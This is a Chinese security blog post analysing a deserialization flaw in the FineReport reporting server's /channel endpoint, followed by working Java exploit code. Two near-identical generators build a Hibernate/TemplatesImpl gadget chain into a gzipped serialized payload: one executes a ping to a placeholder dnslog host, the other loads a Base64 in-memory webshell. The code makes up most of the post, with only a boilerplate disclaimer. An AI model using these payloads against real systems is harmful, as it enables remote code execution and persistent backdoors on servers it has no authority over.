帆软报表 channel 反序列化漏洞分析与利用

2024-06-21 374 0

文章由泾弦安全安全投稿,感谢宋总

0x01 漏洞分析

通过访问漏洞接口插看到 对应的处理类

com.fr.decision.extension.report.api.remote.RemoteDesignResource.onMessage
帆软报表 channel 反序列化漏洞分析与利用插图帆软报表 channel 反序列化漏洞分析与利用插图1搜索/channel"} 也可以查到对应的类
帆软报表 channel 反序列化漏洞分析与利用插图2

可以看到 onMessage 是对应的处理方法

可以看到首先对var1进行了包装,然后再使用WorkContext.handleMessage对其进行的处理
帆软报表 channel 反序列化漏洞分析与利用插图3帆软报表 channel 反序列化漏洞分析与利用插图4跟进 WorkspaceServerInvoker.java handleMessage 方法中 发现又使用 deserializeInvocation方法对数据进行处理

帆软报表 channel 反序列化漏洞分析与利用插图5

跟进deserializeInvocation 首先看看GZipSerializerWrapper.wrap方法 会返回什么

返回了一个 GZipSerializerWrapper 对象

再看看InvocationSerializer.getDefault()返回了什么

返回了一个 InvocationSerializer对象

帆软报表 channel 反序列化漏洞分析与利用插图6帆软报表 channel 反序列化漏洞分析与利用插图7帆软报表 channel 反序列化漏洞分析与利用插图8

再来跟进 public static Object deserialize(byte[] var0, Serializer var1) 方法

如果var1 不为空 那么就使用var1的deserialize方法处理var2 也就是ByteArrayInputStream包装过的var0

前面也可以知道 var1 是一个GZipSerializerWrapper对象 那么就看这个对象对应的 deserialize方法

帆软报表 channel 反序列化漏洞分析与利用插图9

GZipSerializerWrapper.deserialize

查看下this.serializer 是什么对象

帆软报表 channel 反序列化漏洞分析与利用插图10帆软报表 channel 反序列化漏洞分析与利用插图11

因为当时前面使用了warp 然后返回一个 GZipSerializerWrapper的有参构造 而且参数为InvocationSerializer对象

那么this.serializer 就是InvocationSerializer对象

然后就继续跟如 InvocationSerializer对象的deserialize方法

帆软报表 channel 反序列化漏洞分析与利用插图12

InvocationSerializer对象的deserialize方法

可以看到触发了两次readObject 那么流程就走完了,开始寻找链

帆软报表 channel 反序列化漏洞分析与利用插图13

0X02 利用链分析

v10.0.10

因为帆软很像shiro 也是内置cb链

目前思路就是shiro无依赖利用链 JavaBean PropertyUtils.getProperty() 进行链的构造

所以目前得先找一个 getter 并且这个可以执行命令

但是这时候我发现 反软内置的 InvokerTransformer 没有继承serializable

考虑 后续用jdk内置自带的TemplatesImpl类的getOutputProperties进行

后续发现 内置也没有有PropertyUtils 类

帆软报表 channel 反序列化漏洞分析与利用插图14

因为反软内置没有 PropertyUtils,但是考虑也是用getter 这种去进行命令执行的 那么就可以考虑另一个链Hibernate

这条链的具体文章可以 参考 Hibernate

思路

通过Hibernate结合TemplatesImpl这条链 触发getOutputProperties 方法中的newTransformer() 去执行任意方法的调用

Hibernate链

public class HibernateExp {
  public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
      Field field = obj.getClass().getDeclaredField(fieldName);
      field.setAccessible(true);
      field.set(obj, value);
  }

  public static Object createWithoutConstructor(Class aa) throws Exception{
      ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
      Object o = reflectionFactory.newConstructorForSerialization(aa, Object.class.getDeclaredConstructor()).newInstance();
      return o;
  }
  public static void main(String[] args) throws Exception{
      Class<?> componentTypeClass = Class.forName("com.fr.third.org.hibernate.type.ComponentType");
      Class<?> pojoComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer");
      Class<?> abstractComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer");

      //动态创建字节码
      String cmd = "java.lang.Runtime.getRuntime().exec(\"ping -c 1 xxxx.dnslog.pw\");";
      ClassPool pool = ClassPool.getDefault();
      CtClass ctClass = pool.makeClass("Evil");
      ctClass.makeClassInitializer().insertBefore(cmd);
      ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
      byte[] bytes = ctClass.toBytecode();

      TemplatesImpl templates = new TemplatesImpl();
      setFieldValue(templates, "_name", "HibernateExp");
      setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
      setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
      Method getOutputProperties = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");

      Object getter;
      try {
          // 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
          Class<?> getterImpl = Class.forName("com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl");
          Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
          constructor.setAccessible(true);
          getter = constructor.newInstance(null, null, getOutputProperties);
      }catch (Exception ignored){
          // 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
          Class<?> basicGetter = Class.forName("com.fr.third.org.hibernate.property.BasicPropertyAccessor$BasicGetter");
          Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
          constructor.setAccessible(true);
          getter = constructor.newInstance(templates.getClass(), getOutputProperties, "outputProperties");
      }

      // 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法
      Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);

      // 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
      Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
      field.setAccessible(true);
      Object getters = Array.newInstance(getter.getClass(), 1);
      Array.set(getters, 0, getter);
      field.set(tuplizer, getters);

      // 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
      Object type = createWithoutConstructor(componentTypeClass);

      // 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
      Field field1 = componentTypeClass.getDeclaredField("componentTuplizer");
      field1.setAccessible(true);
      field1.set(type, tuplizer);

      Field field2 = componentTypeClass.getDeclaredField("propertySpan");
      field2.setAccessible(true);
      field2.set(type, 1);

      Field field3 = componentTypeClass.getDeclaredField("propertyTypes");
      field3.setAccessible(true);
      field3.set(type, new Type[]{(Type) type});

      // 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法
      TypedValue typedValue = new TypedValue((Type) type, null);

      // 创建反序列化用 HashMap
      HashMap<Object, Object> hashMap = new HashMap<>();
      hashMap.put(typedValue, "aaa");

      // put 到 hashmap 之后再反射写入,防止 put 时触发
      Field valueField = TypedValue.class.getDeclaredField("value");
      valueField.setAccessible(true);
      valueField.set(typedValue, templates);

      byte[] serialize = Serializer.serialize(hashMap);
      String fileName = "ser.bin";
      FileOutputStream fos = new FileOutputStream(fileName);
      GZIPOutputStream gzip = new GZIPOutputStream(fos);
      gzip.write(serialize);
      gzip.finish();
      fos.close();
  }
}

打入内存马

EXP

public class HibernateExp {
  public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
      Field field = obj.getClass().getDeclaredField(fieldName);
      field.setAccessible(true);
      field.set(obj, value);
  }

  public static Object createWithoutConstructor(Class aa) throws Exception{
      ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
      Object o = reflectionFactory.newConstructorForSerialization(aa, Object.class.getDeclaredConstructor()).newInstance();
      return o;
  }
  public static void main(String[] args) throws Exception{
      Class<?> componentTypeClass = Class.forName("com.fr.third.org.hibernate.type.ComponentType");
      Class<?> pojoComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer");
      Class<?> abstractComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer");
      String memshell = "Base64编码的内存马";
      ClassPool pool = new ClassPool();
      pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
      byte[] bytes = new BASE64Decoder().decodeBuffer(memshell);

      TemplatesImpl templates = new TemplatesImpl();
      setFieldValue(templates, "_name", "HibernateExp");
//        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
      setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
      Method getOutputProperties = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");

      Object getter;
      try {
          // 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
          Class<?> getterImpl = Class.forName("com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl");
          Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
          constructor.setAccessible(true);
          getter = constructor.newInstance(null, null, getOutputProperties);
      }catch (Exception ignored){
          // 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
          Class<?> basicGetter = Class.forName("com.fr.third.org.hibernate.property.BasicPropertyAccessor$BasicGetter");
          Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
          constructor.setAccessible(true);
          getter = constructor.newInstance(templates.getClass(), getOutputProperties, "outputProperties");
      }

      // 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法
      Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);

      // 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
      Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
      field.setAccessible(true);
      Object getters = Array.newInstance(getter.getClass(), 1);
      Array.set(getters, 0, getter);
      field.set(tuplizer, getters);

      // 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
      Object type = createWithoutConstructor(componentTypeClass);

      // 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
      Field field1 = componentTypeClass.getDeclaredField("componentTuplizer");
      field1.setAccessible(true);
      field1.set(type, tuplizer);

      Field field2 = componentTypeClass.getDeclaredField("propertySpan");
      field2.setAccessible(true);
      field2.set(type, 1);

      Field field3 = componentTypeClass.getDeclaredField("propertyTypes");
      field3.setAccessible(true);
      field3.set(type, new Type[]{(Type) type});

      // 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法
      TypedValue typedValue = new TypedValue((Type) type, null);

      // 创建反序列化用 HashMap
      HashMap<Object, Object> hashMap = new HashMap<>();
      hashMap.put(typedValue, "aaa");

      // put 到 hashmap 之后再反射写入,防止 put 时触发
      Field valueField = TypedValue.class.getDeclaredField("value");
      valueField.setAccessible(true);
      valueField.set(typedValue, templates);

      byte[] serialize = Serializer.serialize(hashMap);
      String fileName = "ser.bin";
      FileOutputStream fos = new FileOutputStream(fileName);
      GZIPOutputStream gzip = new GZIPOutputStream(fos);
      gzip.write(serialize);
      gzip.finish();
      fos.close();
  }
}


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论